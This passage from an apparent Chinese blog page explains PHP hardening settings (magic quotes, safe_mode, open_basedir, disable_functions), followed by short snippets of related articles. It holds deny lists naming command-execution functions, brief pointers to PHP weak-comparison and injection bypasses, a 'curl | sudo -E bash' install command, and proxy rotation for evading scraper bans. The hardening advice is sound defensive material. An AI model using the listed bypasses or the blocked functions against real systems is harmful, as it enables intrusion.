此两项都是魔术引号,都能自动过滤,但各有不同。开启后,系统会自动过滤外来变量减少一些安全隐患,但是同时也带来了一些性能损耗,同时在做一些逻辑判断时候,需要把反斜杠去掉再处理,用 strislashes 函数去掉,因此最好做全局过滤框架来过滤。
- 代表 get,post,cookie 变量的过滤,过滤有单引号,双引号,反斜杠,空字符,都用反斜杠转义,但是gpc过滤还是不完整的,比如 php5 中 $_SERVER 变量不会过滤,如果程序中,把 client-ip,referer 存到数据库中就能引发 sql 注入。
- magic_quotes_runtime 是对文件或者数据库中取出的数据过滤,能很好的解决二次注入漏洞。
6)safe_mode
功能描述:限制函数使用权限和操作目录文件权限等功能。php 的安全模式,开启后会提升系统的安全系数,但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件,可以选用它的子配置
safe_mode_include_dir = D:/phpstudy/www/include/
7)open_basedir
目录权限的控制,开启可安全系数,但会影响到性能,每次有对目录操作权限的地方都会对此项进行判断。
open_basedir = /var/www/a/:/var/www/b/a中php程序和b中php程序不能相互访问linux用冒号分割,windows用分号分割
8)disable_functions
禁止敏感函数相对较安全。
禁止命令执行函数
disable_functions = system,passthru,exec,shell_exec,popen,pcntl_exec,proc_open禁止文件操作函数
disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chow禁止环境配置相关操作函数
disable_functions=putenv,getenv,unsetenv
9)expose_php
隐藏php版本信息,使攻击者在信息收集时候无法判断程序版本,增加防御系数。expose_php=off 为开启
10)display_startup_errors
此项配置跟 display_errors 做比较,区别是这个是 php 程序启动时产生的错误,和 display_errors 是不一样的,关闭可以增加防御系数。
相关文章:

PHP低版本安全问题
目录 1、PHP弱类型问题 1.1 MD5、 SHA1 弱比较问题 1.2 数组 0 1)函数无法处理数组,返回0 2)strcmp 2、特殊字符串导致的问题 2.1 "ffifdyop" 与 md5(string,raw) 2.2 ereg函数漏洞:00 截断 3、正则匹配问…...

结构体——C语言初阶
一.结构体的声明: (1)结构的基础知识: 结构体是一种构造数据类型把不同类型的数据组合成一个整体结构体是一些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量需要注意的是,结构体是一种…...

基于django电影推荐系统
基于django电影推荐系统 摘要 该Django电影推荐系统是一个简单而基础的框架,旨在展示系统的基本组件。系统包括两个主要模型,即Movie和Rating,用于存储电影信息和用户评分。视图层包括展示电影列表和电影详情的功能,使用模板进行页…...

【问题处理】WPS提示不能启动此对象的源应用程序如何处理?
哈喽,大家好,我是雷工! 最近在用WPS打开word文件中,插入的Excel附件时,无法打开,提示:“不能启动此对象的源应用程序”。 经过上网查找处理办法,尝试解决,现将解决过程记…...

UE 程序化网格 计算横截面
首先在构造函数内加上程序化网格,然后复制网格体到程序化网格组件上,将Static Mesh(类型StaticMeshActor)的静态网格体组件给到程序化网格体上 然后把StaticMesh(类型为StaticMeshActor)Instance暴漏出去 …...

【Spring】IoC容器的一些总结与补充
文章目录 1. 创建容器的两种方式相对路径导入绝对路径导入 2. 获取Bean的三种方式getBean后强转类型getBean内写明类别根据类别获取bean 3. 容器层次结构4. BeanFactory5. bean的总结6. 注入的总结 1. 创建容器的两种方式 相对路径导入 ApplicationContext ctx new ClassPat…...

Java GUI实现五子棋游戏
五子棋是一种双人对弈的棋类游戏,通常在棋盘上进行。棋盘为 1515 的方格,黑白双方各执棋子,轮流在棋盘的格点上落子,先在横、竖、斜线上形成五个相连的同色棋子者获胜。五子棋规则简单,易学难精,兼具攻防和…...

Python 集成 Nacos 配置中心
Python 集成 Nacos 配置中心 下载 Nacos 官方 pyhton 库 pip install nacos-sdk-python # 指定国内阿里云镜像源 pip3 install nacos-sdk-python -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com配置 Nacos 相关信息 Global:nacos:port: 8848…...

Debian 11 更新 Node.js 版本
发布于 2023-07-14 在 https://chenhaotian.top/debian/d-upd-nodejs/ 步骤 从 NodeSource 服务下载需要的 Node.js 安装脚本。注意更换版本号。当前的 LTS 版本是 18.x curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash -现在可以直接从 apt 安装࿰…...

python 对图像进行聚类分析
import cv2 import numpy as np from sklearn.cluster import KMeans import time# 中文路径读取 def cv_imread(filePath, cv2_falgcv2.COLOR_BGR2RGB): cv_img cv2.imdecode(np.fromfile(filePath, dtypenp.uint8), cv2_falg) return cv_img# 自定义装饰器计算时间 def…...

程序员导航站
探路者 hello.alluniverse.vip 开发者导航 - Pro Developer网站导航 探路者是一款极简导航工具,致力于收录的每个站点都有其独特的作用。同时支持自定义导航,让用户快速实现个性化的导航站点。 特性概述 免费ChatGPT 装机必备 开发工具 Git精选项目 …...

BIO、NIO、AIO三者的区别及其应用场景(结合生活例子,简单易懂)
再解释三者之前我们需要先了解几个概念: 阻塞、非阻塞:是相较于线程来说的,如果是阻塞则线程无法往下执行,不阻塞,则线程可以继续往下 执行。同步、异步:是相较于IO来说的,同步需要等待IO操作完…...

深度学习YOLO图像视频足球和人体检测 - python opencv 计算机竞赛
文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络4 Yolov5算法5 数据集6 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 深度学习YOLO图像视频足球和人体检测 该项目较为新颖,适合作为竞赛课题方向,学长非…...

系列七、JVM的内存结构【堆(Heap)】
一、概述 一个JVM实例只存在一个堆内存,堆内存的大小是可以手动调节的。类加载器读取了类文件后,需要把类、方法、常变量放到堆内存中,保存所有引用类型的真实信息,以方便执行器执行,堆内存分为三个部分,即…...

什么是Selenium?如何使用Selenium进行自动化测试?
什么是 Selenium? Selenium 是一种开源工具,用于在 Web 浏览器上执行自动化测试(使用任何 Web 浏览器进行 Web 应用程序测试)。 等等,先别激动,让我再次重申一下,Selenium 仅可以测试Web应用…...

【蓝桥杯 第十五届模拟赛 Java B组】训练题(A - I)
目录 A、求全是字母的最小十六进制数 B、Excel表格组合 C、求满足条件的日期 D、 取数字 - 二分 (1)暴力 (2)二分 E、最大连通块 - bfs F、哪一天? G、信号覆盖 - bfs (1)bfs…...

【数据结构】手撕双向链表
目录 前言 1. 双向链表 带头双向循环链表的结构 2. 链表的实现 2.1 初始化 2.2 尾插 2.3 尾删 2.4 头插 2.5 头删 2.6 在pos位置之前插入 2.7 删除pos位置 3.双向链表完整源码 List.h List.c 前言 在上一期中我们介绍了单链表,也做了一些练习题&…...

性能测试 —— Jmeter接口处理不低于200次/秒-场景
需求:期望某个接口系统的处理能力不低于200次/秒,如何设计? ①这个场景是看服务器对某个接口的TPS值是否能大于等于200,就可以了; ②系统处理能力:说的就是我们性能测试中的TPS; ③只要设计一…...

Qt中使用QNetworkAccessManager类发送https请求时状态码返回0
前言 在项目开发中,碰到一个问题,使用QNetworkAccessManager类对象发送https请求时,状态码一直返回0,抓包分析看请求响应也是正常的。费了好大劲终于搞定了,主要是两个原因导致的。 原因一:未设置支持SSL…...

Linux - 物理内存管理 - memmap
说明 裁减内核预留内存占用,在启动log中,发现memmap占用了大块内存(446个pages)。 On node 0 totalpages: 32576 memblock_alloc_try_nid: 1835008 bytes align0x40 nid0 from0x0000000000000000 max_addr0x0000000000000000 al…...

Python爬虫动态ip代理防止被封的方法
目录 前言 一、什么是动态IP代理? 二、如何获取代理IP? 1. 付费代理IP 2. 免费代理IP 3. 自建代理IP池 三、如何使用代理IP爬取数据? 1. 使用requests库设置代理IP 2. 使用urllib库设置代理IP 3. 使用selenium库设置代理IP 四、常…...

01Urllib
1.什么是互联网爬虫? 如果我们把互联网比作一张大的蜘蛛网,那一台计算机上的数据便是蜘蛛网上的一个猎物,而爬虫程序就是一只小蜘蛛,沿着蜘蛛网抓取自己想要的数据 解释1:通过一个程序,根据Url(http://www.…...

python爬取酷我音乐 根据歌名进行爬取
# _*_ coding:utf-8 _*_ # 开发工具:PyCharm # 公众号:小宇教程import urllib.parse from urllib.request import urlopen import json import time import sys import osdef Time_1...

【深度学习】吴恩达课程笔记(五)——超参数调试、batch norm、Softmax 回归
笔记为自我总结整理的学习笔记,若有错误欢迎指出哟~ 【吴恩达课程笔记专栏】 【深度学习】吴恩达课程笔记(一)——深度学习概论、神经网络基础 【深度学习】吴恩达课程笔记(二)——浅层神经网络、深层神经网络 【深度学习】吴恩达课程笔记(三)——参数VS超参数、深度…...

腾讯云轻量级服务器和云服务器什么区别?轻量服务器是干什么用的
随着互联网的迅速发展,服务器成为了许多人必备的工具。然而,面对众多的服务器选择,我们常常会陷入纠结之中。在这篇文章中,我们将探讨轻量服务器和标准云服务器的区别,帮助您选择最适合自己需求的服务器。 腾讯云双十…...

解决:虚拟机远程连接失败
问题 使用FinalShell远程连接虚拟机的时候连接不上 发现 虚拟机用的VMware,Linux发行版是CentOs 7,发现在虚拟机中使用ping www.baidu.com是成功的,但是使用FinalShell远程连接不上虚拟机,本地网络也ping不通虚拟机,…...

SpringBoot项目集成发邮件功能
1:引入依赖2:配置设置3:授权码获取:4:核心代码5:postman模拟验证6:安全注意 1:引入依赖 <dependency><groupId>org.apache.commons</groupId><artifactId>c…...

【Spring篇】使用注解进行开发
🎊专栏【Spring】 🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 🎆音乐分享【如愿】 🥰欢迎并且感谢大家指出小吉的问题 文章目录 🌺原代码(无注解)🎄加上注解⭐两个注…...

Flink(六)【DataFrame 转换算子(下)】
前言 今天学习剩下的转换算子:分区、分流、合流。 每天出来自学是一件孤独又充实的事情,希望多年以后回望自己的大学生活,不会因为自己的懒惰与懈怠而悔恨。 回答之所以起到了作用,原因是他们自己很努力。 …...

【2023春李宏毅机器学习】生成式学习的两种策略
文章目录 1 各个击破2 一步到位3 两种策略的对比 生成式学习的两种策略:各个击破、一步到位 对于文本生成:把每一个生成的元素称为token,中文当中token指的是字,英文中的token指的是word piece。比如对于unbreakable,他…...